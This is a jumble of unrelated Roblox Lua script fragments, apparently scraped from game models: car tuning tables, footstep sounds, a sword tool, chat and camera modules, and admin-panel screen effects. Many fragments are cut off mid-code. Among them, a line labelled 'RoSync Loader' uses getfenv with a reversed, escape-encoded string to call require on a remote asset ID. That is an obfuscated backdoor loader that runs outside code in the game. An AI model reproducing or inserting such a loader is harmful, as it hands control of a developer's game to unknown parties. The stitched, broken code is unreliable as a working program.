PlayerControlScript:Destroy() end Enabled = false PlayerControlScript = nil PlayerUsing = nil PlayerConnection = nil BeamActive = false TakingOff = false InUse = false BodyGyro.maxTorque = Vector3.new(0, 0, 0) BodyPosition.maxForce = Vector3.new(0, 0, 0) BodyVelocity.maxForce = Vector3.new(0, 0, 0) BodyVelocity.velocity = Vector3.new(0, 0, 0) RiseVelocity.maxForce = Vector3.new(0, 0, 0) RiseVelocity.velocity = Vector3.new(0, 0, 0) for i, v in pairs(Controls) do v.Mode = false end end function Flip() local EngineCloneY = Engine:Clone() EngineCloneY.CFrame = EngineCloneY.CFrame * CFrame.Angles(-math.rad(90), 0, 0) if EngineCloneY.CFrame.lookVector.Y < 0.707 then FlipGyro.cframe = CFrame.new(Vector3.new(0, 0, 0), Vector3.new(0, 1, 0)) * CFrame.Angles((-math.pi / 2), 0, 0) FlipGyro.maxTorque = Vector3.new(FlipForce, FlipForce, FlipForce) wait(2) FlipGyro.maxTorque = Vector3.new(0,0,0) end end Seat.ChildAdded:connect(function(Child) if Child:IsA("Weld") and Child.Name == "SeatWeld" then if Child.Part0 and Child.Part0 == Seat and Child.Part1 and Child.Part1.Parent then local Player = Players:GetPlayerFromCharacter(Child.Part1.Parent) if Player then Equipped(Player) end end end end) Seat.ChildRemoved:connect(function(Child) if Child:IsA("Weld") and Child.Name == "SeatWeld" then if Child.Part0 and Child.Part0 == Seat and Child.Part1 and Child.Part1.Parent then local Player = Players:GetPlayerFromCharacter(Child.Part1.Parent) if Player and Player == PlayerUsing then Unequipped(Player) end end end end) Spawn(function() while true do Flip() wait(5) end end)
--stop sound
function module.Stop(humrp, sound) local sound = humrp[sound] sound:Stop() end return module
--// All global vars will be wiped/replaced except script --// All guis are autonamed using client.Functions.GetRandom()
return function(data) local gui = service.New("ScreenGui") local mode = data.Mode local gTable = client.UI.Register(gui, {Name = "Effect"}) local BindEvent = gTable.BindEvent client.UI.Remove("Effect", gui) gTable:Ready() if mode == "Off" or not mode then gTable:Destroy() elseif mode == "Pixelize" then local frame = Instance.new("Frame") frame.Parent = gui local camera = workspace.CurrentCamera local pixels = {} local resY = data.Resolution or 20 local resX = data.Resolution or 20 local depth = 0 local distance = data.Distance or 80 local function renderScreen() for i,pixel in pairs(pixels) do local ray = camera:ScreenPointToRay(pixel.X,pixel.Y,depth) local result = workspace:Raycast(ray.Origin, ray.Direction * distance) local part, endPoint = result.Instance, result.Position if part and part.Transparency < 1 then pixel.Pixel.BackgroundColor3 = part.BrickColor.Color else pixel.Pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255) end end end frame.Size = UDim2.new(1,0,1,40) frame.Position = UDim2.new(0,0,0,-35) for y = 0,gui.AbsoluteSize.Y+50,resY do for x = 0,gui.AbsoluteSize.X+30,resX do local pixel = Instance.new("TextLabel") pixel.Text = "" pixel.BorderSizePixel = 0 pixel.Size = UDim2.new(0,resX,0,resY) pixel.Position = UDim2.new(0,x-(resX/2),0,y-(resY/2)) pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255) pixel.Parent = frame table.insert(pixels,{Pixel = pixel,X = x, Y = y}) end end while wait() and not gTable.Destroyed and gui.Parent do if not gTable.Destroyed and not gTable.Active then wait(5) else renderScreen() end end gTable:Destroy() elseif mode == "FadeOut" then service.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false) service.UserInputService.MouseIconEnabled = false for i,v in pairs(service.PlayerGui:GetChildren()) do pcall(function() if v~=gui then v:Destroy() end end) end local blur = service.New("BlurEffect", { Name = "Adonis_FadeOut_Blur"; Parent = service.Lighting; Size = 0; }) local bg = service.New("Frame", { Parent = gui; BackgroundTransparency = 1; BackgroundColor3 = Color3.new(0,0,0); Size = UDim2.new(2,0,2,0); Position = UDim2.new(-0.5,0,-0.5,0); }) for i = 1,0,-0.01 do bg.BackgroundTransparency = i blur.Size = 56 * (1 - i); wait(0.1) end bg.BackgroundTransparency = 0 elseif mode == "Trippy" then local v = service.Player local bg = Instance.new("Frame") bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 bg.Parent = gui while gui and gui.Parent do wait(1/44) bg.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) end if gui then gui:Destroy() end elseif mode == "Spooky" then local frame = Instance.new("Frame") frame.BackgroundColor3=Color3.new(0,0,0) frame.Size=UDim2.new(1,0,1,50) frame.Position=UDim2.new(0,0,0,-50) frame.Parent = gui local img = Instance.new("ImageLabel") img.Position = UDim2.new(0,0,0,0) img.Size = UDim2.new(1,0,1,0) img.BorderSizePixel = 0 img.BackgroundColor3 = Color3.new(0,0,0) img.Parent = frame local textures = { 299735022; 299735054; 299735082; 299735103; 299735133; 299735156; 299735177; 299735198; 299735219; 299735245; 299735269; 299735289; 299735304; 299735320; 299735332; 299735361; 299735379; } local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://174270407" sound.Looped = true sound.Parent = gui sound:Play() while gui and gui.Parent do for i=1,#textures do img.Image = "rbxassetid://"..textures[i] wait(0.1) end end sound:Stop() elseif mode == "lifeoftheparty" then local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.new(0,0,0) frame.Size = UDim2.new(1,0,1,50) frame.Position = UDim2.new(0,0,0,-50) frame.Parent = gui local img = Instance.new("ImageLabel") img.Position = UDim2.new(0,0,0,0) img.Size = UDim2.new(1,0,1,0) img.BorderSizePixel = 0 img.BackgroundColor3 = Color3.new(0,0,0) img.Parent = frame local textures = { 299733203; 299733248; 299733284; 299733309; 299733355; 299733386; 299733404; 299733425; 299733472; 299733489; 299733501; 299733523; 299733544; 299733551; 299733564; 299733570; 299733581; 299733597; 299733609; 299733621; 299733632; 299733640; 299733648; 299733663; 299733674; 299733694; } local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://172906410" sound.Looped = true sound.Parent = gui sound:Play() while gui and gui.Parent do for i=1,#textures do img.Image = "rbxassetid://"..textures[i] wait(0.1) end end sound:Stop() elseif mode == "trolling" then local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.new(0,0,0) frame.Size = UDim2.new(1,0,1,50) frame.Position = UDim2.new(0,0,0,-50) frame.Parent = gui local img = Instance.new("ImageLabel") img.Position = UDim2.new(0,0,0,0) img.Size = UDim2.new(1,0,1,0) img.BorderSizePixel = 0 img.BackgroundColor3 = Color3.new(0,0,0) img.Parent = frame local textures = { "6172043688"; "6172044478"; "6172045193"; "6172045797"; "6172046490"; "6172047172"; "6172047947"; "6172048674"; "6172050195"; "6172050892"; "6172051669"; "6172053085"; "6172054752"; "6172054752"; "6172053085"; "6172051669"; "6172050892"; "6172050195"; "6172048674"; "6172047947"; "6172047172"; "6172046490"; "6172045797"; "6172045193"; "6172044478"; "6172043688"; } local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://229681899" sound.Looped = true sound.Parent = gui sound:Play() while gui and gui.Parent do for i=1,#textures do img.Image = "rbxassetid://"..textures[i] wait(0.13) end end sound:Stop() elseif mode == "Strobe" then local bg = Instance.new("Frame") bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 bg.Parent = gui while gui and gui.Parent do wait(1/44) bg.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) bg.BackgroundColor3 = Color3.new(0,0,0) end if gui then gui:Destroy() end elseif mode == "Blind" then local bg = Instance.new("Frame") bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 bg.Parent = gui elseif mode == "ScreenImage" then local bg = Instance.new("ImageLabel") bg.Image="rbxassetid://"..data.Image bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(1,0,1,0) bg.Position = UDim2.new(0,0,0,0) bg.ZIndex = 10 bg.Parent = gui elseif mode == "ScreenVideo" then local bg = Instance.new("VideoFrame") bg.Video="rbxassetid://"..data.Video bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(1,0,1,0) bg.Position = UDim2.new(0,0,0,0) bg.ZIndex = 10 bg.Parent = gui bg:Play() end end
--
Humanoid.Changed:Connect(function() if Enum.Material[Humanoid.FloorMaterial.Name] then script.Parent.CurrentMaterial.Value = Humanoid.FloorMaterial.Name else script.Parent.CurrentMaterial.Value = DefaultSound end end) function TurnOffSounds() for i,v in pairs(script.Parent:GetChildren()) do if v.ClassName == "Sound" then v.Playing = false end end end function MakeSound() for i,v in pairs(script.Parent:GetChildren()) do if v.ClassName == "Sound" then if v.Name ~= script.Parent.CurrentMaterial.Value then v.Playing = false else if script.Parent.CurrentMaterial.Value == 'Air' and ToggleAirSound == true then v.Playing = true v.PlaybackSpeed = Humanoid.WalkSpeed / 12 else if v.Name ~= 'Air' then v.Playing = true v.PlaybackSpeed = Humanoid.WalkSpeed / 12 end end end end end end function MakeDefaultSound() for i,v in pairs(script.Parent:GetChildren()) do if v.ClassName == "Sound" then if v.Name ~= DefaultSound then v.Playing = false else v.Playing = true v.PlaybackSpeed = Humanoid.WalkSpeed / 12 end end end end while wait(1/10) do local Moving = Humanoid.MoveDirection ~= Vector3.new(0,0,0) if Moving then if script.Parent:FindFirstChild(script.Parent.CurrentMaterial.Value) and script.Parent.CurrentMaterial.Value ~= nil then MakeSound() else MakeDefaultSound() end else TurnOffSounds() end end
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 60 settings.KeyAesthetics = true settings.PianoSounds = { "269058581", "269058744", "269058842", "269058899", "269058974", "269059048" }
-- check if the player is moving and not climbing
humanoid.Running:Connect(function(speed) if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then if oldWalkSpeed ~= humanoid.WalkSpeed then getSoundProperties() update() end currentSound.Playing = true currentSound.Looped = true else currentSound:Stop() end end) spawn(function() while task.wait() do if serverSound.Volume > 0 then serverSound.Volume = 0 end end end)
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.6 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.460 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 5.00 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 3.20 , --[[ 3 ]] 2.14 , --[[ 4 ]] 1.72 , --[[ 5 ]] 1.31 , --[[ 6 ]] 1.00 , --[[ 7 ]] 0.82 , --[[ 8 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- -1 = Closed -- 0 = Active -- 1 = Open
function getItems() for _,v in pairs(script.Parent:GetChildren()) do if ((v:IsA("BasePart")) and (v.Name == "Bar")) then table.insert(_items,v) end end end function main() local d = door door = 0 script.Parent.Button.BrickColor = BrickColor.new("New Yeller") for i = 0,5,0.05 do for _,v in pairs(_items) do v.CFrame = v.CFrame * CFrame.new((0.05*(-d)),0,0) end wait() end if (d == (-1)) then script.Parent.Button.BrickColor = BrickColor.new("Really red") elseif (d == 1) then script.Parent.Button.BrickColor = BrickColor.new("Bright green") end door = d end script.Parent.Button.Click.MouseClick:connect(function() if (door == 0) then return end door = (door*(-1)) main() end) getItems()
--Copy public stuff
script.AdminPanelPublic:Clone().Parent = game.ReplicatedStorage script.BroadcastReceiver:Clone().Parent = game.StarterPlayer.StarterPlayerScripts wait()
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
function BaseCamera:SetCameraMovementMode( cameraMovementMode ) self.cameraMovementMode = cameraMovementMode end function BaseCamera:GetCameraMovementMode() return self.cameraMovementMode end function BaseCamera:SetIsMouseLocked(mouseLocked) self.inMouseLockedMode = mouseLocked self:UpdateMouseBehavior() end function BaseCamera:GetIsMouseLocked() return self.inMouseLockedMode end function _G.UpdateAimed(p165) BaseCamera:SetIsMouseLocked(p165) end function BaseCamera:SetMouseLockOffset(offsetVector) self.mouseLockOffset = offsetVector end function BaseCamera:GetMouseLockOffset() return self.mouseLockOffset end function BaseCamera:InFirstPerson() return self.inFirstPerson end function BaseCamera:EnterFirstPerson() -- Overridden in ClassicCamera, the only module which supports FirstPerson end function BaseCamera:LeaveFirstPerson() -- Overridden in ClassicCamera, the only module which supports FirstPerson end
--Show Accessory
script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Accessory") then v.Handle.Transparency=0 end end end end end)
-- regeneration
function regenHealth() if regening then return end regening = true while Humanoid.Health < Humanoid.MaxHealth do local s = wait(1) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then local newHealthDelta = 0.01 * s * Humanoid.MaxHealth health = health + newHealthDelta Humanoid.Health = math.min(health,Humanoid.MaxHealth) end end if Humanoid.Health > Humanoid.MaxHealth then Humanoid.Health = Humanoid.MaxHealth end regening = false end Humanoid.HealthChanged:connect(regenHealth)
--[[ Last synced 7/20/2021 11:54 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- posX=0.15
frmPosY=wnd.AbsoluteSize.Y/2 -- - sizeY/2 me.Position=UDim2.new(me.Position.X.Scale,me.Position.X.Offset,0,frmPosY)
-----------------------------------
ba=Instance.new("Part") ba.CastShadow = false ba.TopSurface=0 ba.BottomSurface=0 ba.Anchored=false ba.CanCollide=false ba.formFactor="Custom" ba.Size=Vector3.new(1,0.1,1) ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0) ba.Name="Effect" ba.BrickColor=BrickColor.new "White" ao=script.RingMesh:clone() ao.Parent = ba local fade = script.RingFade:Clone() fade.Parent = ba fade.Disabled = false ba.Parent=script.Parent fo=Instance.new("BodyPosition") fo.maxForce= Vector3.new (99999999999999999,99999999999999999,99999999999999999) fo.position = ba.Position fo.Parent = ba aa=Instance.new("BodyAngularVelocity") aa.P=3000 aa.maxTorque=aa.maxTorque*30 aa.angularvelocity=Vector3.new(math.random(-70,70)/3,math.random(-70,70)/3,math.random(-70,70)/5)*100 aa.Parent=ba script.Parent.effect.Disabled = false
--This module creates the button prompts over seats and allows players to get in/out --A copy of this module will be put into ReplicatedStorage when the game runs --This combined with VehicleSeatingScript allows the button prompts to be made locally --Which looks nicer and saves server resources
-- Keyboard -- Stephen Leitnick -- October 10, 2021
local Trove = require(script.Parent.Parent.Trove) local Signal = require(script.Parent.Parent.Signal) local UserInputService = game:GetService("UserInputService")
------------------------------------
function RandomP() local xRand = math.random(-20,20) local zRand = math.random(-20,20) local goal = torso.Position + Vector3.new(xRand,0,zRand) local path = PFS:CreatePath() path:ComputeAsync(torso.Position, goal) local waypoints = path:GetWaypoints()
--//Transmission//--
AmountOfGears = 6 --{Max of 8 gears} TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT} Drivetrain = "RWD" --{RWD, FWD, AWD} TorqueSplit = 30 --{Split to the rear wheels} DifferentialF = 0 --{0 = Open, 1 = locked} DifferentialR = 0.6 --{0 = Open, 1 = locked} Gear1 = 4.60 Gear2 = 2.72 Gear3 = 1.86 Gear4 = 1.46 Gear5 = 1.23 Gear6 = 1.00 Gear7 = 0.82 Gear8 = 0.69 FinalDrive = 2.937 EngineIdle = 600 EngineRedline = 6800
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create black= BrickColor.new("Really black") BaseUrl = "http://www.roblox.com/asset/?id=" LastAttack = 0 Lunging = false Grips = { Up = CFrame.new(0, -2.3, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), Out = CFrame.new(0, -2.3, 0, 1, 0, 0, 0, 0, -1, -0, 1, 0), } Sounds = { Unsheath = Handle:WaitForChild("Unsheath"), Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), } BasePart = Create("Part"){ Material = Enum.Material.Plastic, Shape = Enum.PartType.Block, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, FormFactor = Enum.FormFactor.Custom, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, } SoulFire = Create("Fire"){ Name = "Fire", Color = Color3.new((255 / 255), (0 / 255), (0 / 255)), SecondaryColor = Color3.new((85 / 255), (0 / 255), (0 / 255)), Heat = 18, Size = 2.5, Enabled = true, } SoulLight = Create("PointLight"){ Name = "Light", Color = SoulFire.Color, Brightness = 35, Range = 4, Shadows = false, Enabled = true, } Gravity = 196.20 SwordDamage = 25 ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) local myteam = Player1.TeamColor local theirteam = Player2.TeamColor return not (myteam ~= theirteam or (myteam == black and theirteam == black)) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Part, Damage) local PartTouched PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() then return end local RightArm = Character:FindFirstChild("Right Arm") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end local HealthAfter = (humanoid.Health - Damage) UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) Spawn(function() humanoid.WalkSpeed = 9 wait(1.25) humanoid.WalkSpeed = 16 end) end) return PartTouched end function CreateTrail(Damage, TrailRate) local TrailLoop local Count = Create("IntValue"){ Value = 0, } local Enabled = Create("BoolValue"){ Value = true, } Spawn(function() while Enabled.Value and ToolEquipped and CheckIfAlive() do local TrailPart = Handle:Clone() TrailPart.Name = "Effect" TrailPart.CanCollide = false TrailPart.Anchored = true Blow(TrailPart, 5) Count.Value = (Count.Value + 1) Debris:AddItem(TrailPart, 1) TrailPart.Parent = game:GetService("Workspace") TrailPart.CFrame = Handle.CFrame wait(TrailRate) end end) return {Connection = TrailLoop, Count = Count, Enabled = Enabled} end function Lunge() Lunging = true local Target = InvokeClient("MousePosition") if not Target then return end local TargetPosition = Target.Position local Direction = (CFrame.new(Torso.Position, TargetPosition).lookVector * Vector3.new(1, 0, 1)) Tool.Grip = Grips.Out Sounds.Lunge:Play() local Anim = Create("StringValue"){ Name = "toolanim", Value = "Lunge", Parent = Tool, } if Direction.Magnitude > .01 then Direction = Direction.Unit local NewBV = Create("BodyVelocity"){ P = 100000, maxForce = Vector3.new(100000, 0, 100000), velocity = (Direction * 50), } Debris:AddItem(NewBV, 0.75) NewBV.Parent = Torso Torso.CFrame = CFrame.new(Torso.Position, (TargetPosition * Vector3.new(1, 0, 1) + Vector3.new(0, Torso.Position.Y, 0))) end Spawn(function() local LungeTrail = CreateTrail(5, 0.08) while Lunging and CheckIfAlive() and ToolEquipped do RunService.Stepped:wait() end LungeTrail.Enabled.Value = false end) wait(0.75) Lunging = false Tool.Grip = Grips.Up wait(0.5) end function Attack() Tool.Grip = Grips.Up Sounds.Slash:Play() local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", Parent = Tool, } Spawn(function() local AttackTrail = CreateTrail(5, 0.06) while AttackTrail.Count.Value < 4 and CheckIfAlive() and ToolEquipped do RunService.Stepped:wait() end AttackTrail.Enabled.Value = false end) Tool.Grip = Grips.Up end
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff --////////////////////////////////////////////////////////////////////////////////////////////
local Util = {} do function Util.Signal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:wait() mSignaler.Event:wait() assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(mArgData, 1, mArgDataCount) end return sig end end function SetVisibility(val) ChatWindow:SetVisible(val) moduleApiTable.VisibilityStateChanged:fire(val) moduleApiTable.Visible = val if (moduleApiTable.IsCoreGuiEnabled) then if (val) then InstantFadeIn() else InstantFadeOut() end end end do moduleApiTable.TopbarEnabled = true moduleApiTable.MessageCount = 0 moduleApiTable.Visible = true moduleApiTable.IsCoreGuiEnabled = true function moduleApiTable:ToggleVisibility() SetVisibility(not ChatWindow:GetVisible()) end function moduleApiTable:SetVisible(visible) if (ChatWindow:GetVisible() ~= visible) then SetVisibility(visible) end end function moduleApiTable:FocusChatBar() ChatBar:CaptureFocus() end function moduleApiTable:EnterWhisperState(player) ChatBar:EnterWhisperState(player) end function moduleApiTable:GetVisibility() return ChatWindow:GetVisible() end function moduleApiTable:GetMessageCount() return self.MessageCount end function moduleApiTable:TopbarEnabledChanged(enabled) self.TopbarEnabled = enabled self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat)) end function moduleApiTable:IsFocused(useWasFocused) return ChatBar:IsFocused() end moduleApiTable.ChatBarFocusChanged = Util.Signal() moduleApiTable.VisibilityStateChanged = Util.Signal() moduleApiTable.MessagesChanged = Util.Signal() moduleApiTable.MessagePosted = Util.Signal() moduleApiTable.CoreGuiEnabled = Util.Signal() moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal() moduleApiTable.ChatWindowPositionEvent = Util.Signal() moduleApiTable.ChatWindowSizeEvent = Util.Signal() moduleApiTable.ChatBarDisabledEvent = Util.Signal() function moduleApiTable:fChatWindowPosition() return ChatWindow.GuiObject.Position end function moduleApiTable:fChatWindowSize() return ChatWindow.GuiObject.Size end function moduleApiTable:fChatBarDisabled() return not ChatBar:GetEnabled() end if FFlagUserHandleChatHotKeyWithContextActionService then local TOGGLE_CHAT_ACTION_NAME = "ToggleChat" -- Callback when chat hotkey is pressed local function handleAction(actionName, inputState, inputObject) if actionName == TOGGLE_CHAT_ACTION_NAME and inputState == Enum.UserInputState.Begin and canChat and inputObject.UserInputType == Enum.UserInputType.Keyboard then DoChatBarFocus() end end ContextActionService:BindAction(TOGGLE_CHAT_ACTION_NAME, handleAction, true, Enum.KeyCode.Slash) else function moduleApiTable:SpecialKeyPressed(key, modifiers) if (key == Enum.SpecialKey.ChatHotkey) then if canChat then DoChatBarFocus() end end end end end moduleApiTable.CoreGuiEnabled:connect(function(enabled) moduleApiTable.IsCoreGuiEnabled = enabled enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff) ChatWindow:SetCoreGuiEnabled(enabled) if (not enabled) then ChatBar:ReleaseFocus() InstantFadeOut() else InstantFadeIn() end end) function trimTrailingSpaces(str) local lastSpace = #str while lastSpace > 0 do --- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace) if str:find("^%s", lastSpace) then lastSpace = lastSpace - 1 else break end end return str:sub(1, lastSpace) end moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable) if (valueTable["Text"] and type(valueTable["Text"]) == "string") then while (not DidFirstChannelsLoads) do wait() end local channel = ChatSettings.GeneralChannelName local channelObj = ChatWindow:GetChannel(channel) if (channelObj) then local messageObject = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channel, IsFiltered = true, MessageLength = string.len(valueTable.Text), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(valueTable.Text)), Message = trimTrailingSpaces(valueTable.Text), MessageType = ChatConstants.MessageTypeSetCore, Time = os.time(), ExtraData = valueTable, } channelObj:AddMessageToChannel(messageObject) ChannelsBar:UpdateMessagePostedInChannel(channel) moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) end end end) moduleApiTable.ChatBarDisabledEvent:connect(function(disabled) if canChat then ChatBar:SetEnabled(not disabled) if (disabled) then ChatBar:ReleaseFocus() end end end) moduleApiTable.ChatWindowSizeEvent:connect(function(size) ChatWindow.GuiObject.Size = size end) moduleApiTable.ChatWindowPositionEvent:connect(function(position) ChatWindow.GuiObject.Position = position end)
-- / Variables / --
local Client = script.Client; local Seat = script.Parent.Seat; local CarModel = script.Parent.CarModel; local BodyPostion = CarModel.BodyPosition; local BodyGyro = CarModel.BodyGyro; local currentOccupant = nil; local currentClient = nil;
--script.Parent.CallButton2.ClickDetector.MouseClick:connect(onClick)
script.Parent.CallButton.ClickDetector.MouseClick:connect(onClick)
--[[Engine]]
--Torque Curve Tune.Horsepower = 240 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
----------------- --| Variables |-- -----------------
local DebrisService = Game:GetService('Debris') local Rocket = script.Parent local CreatorTag = WaitForChild(Rocket, 'creator') local Connection = nil
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.Body.Brakes.on.Value=true elseif data['DisableBrakes'] then car.Body.Brakes.on.Value=false elseif data['ToggleLeftBlink'] then if car.Body.Left.on.Value==true then car.Body.Left.on.Value=false else car.Body.Left.on.Value=true end elseif data['ToggleRightBlink'] then if car.Body.Right.on.Value==true then car.Body.Right.on.Value=false else car.Body.Right.on.Value=true end elseif data['ReverseOn'] then car.Body.Reverse.on.Value=true elseif data['ReverseOff'] then car.Body.Reverse.on.Value=false elseif data['ToggleStandlicht'] then if LichtNum == 0 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 1 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 2 then LichtNum = 3 car.Body.Highlight.on.Value = true elseif LichtNum == 3 then LichtNum = 1 car.Body.Highlight.on.Value = false car.Body.Headlight.on.Value = false end elseif data["ToggleHeadlight"] then if car.Body.Headlight.on.Value == false then car.Body.Headlight.on.Value = true else car.Body.Headlight.on.Value = false end elseif data["ToggleHighbeam"] then if car.Body.Highlight.on.Value == false then car.Body.Highlight.on.Value = true elseif car.Body.Highlight.on.Value == true then car.Body.Highlight.on.Value = false end elseif data["ToggleHazards"] then if car.Body.Hazards.on.Value == false then car.Body.Hazards.on.Value = true elseif car.Body.Hazards.on.Value == true then car.Body.Hazards.on.Value = false end end end)
--task.spawn(function()
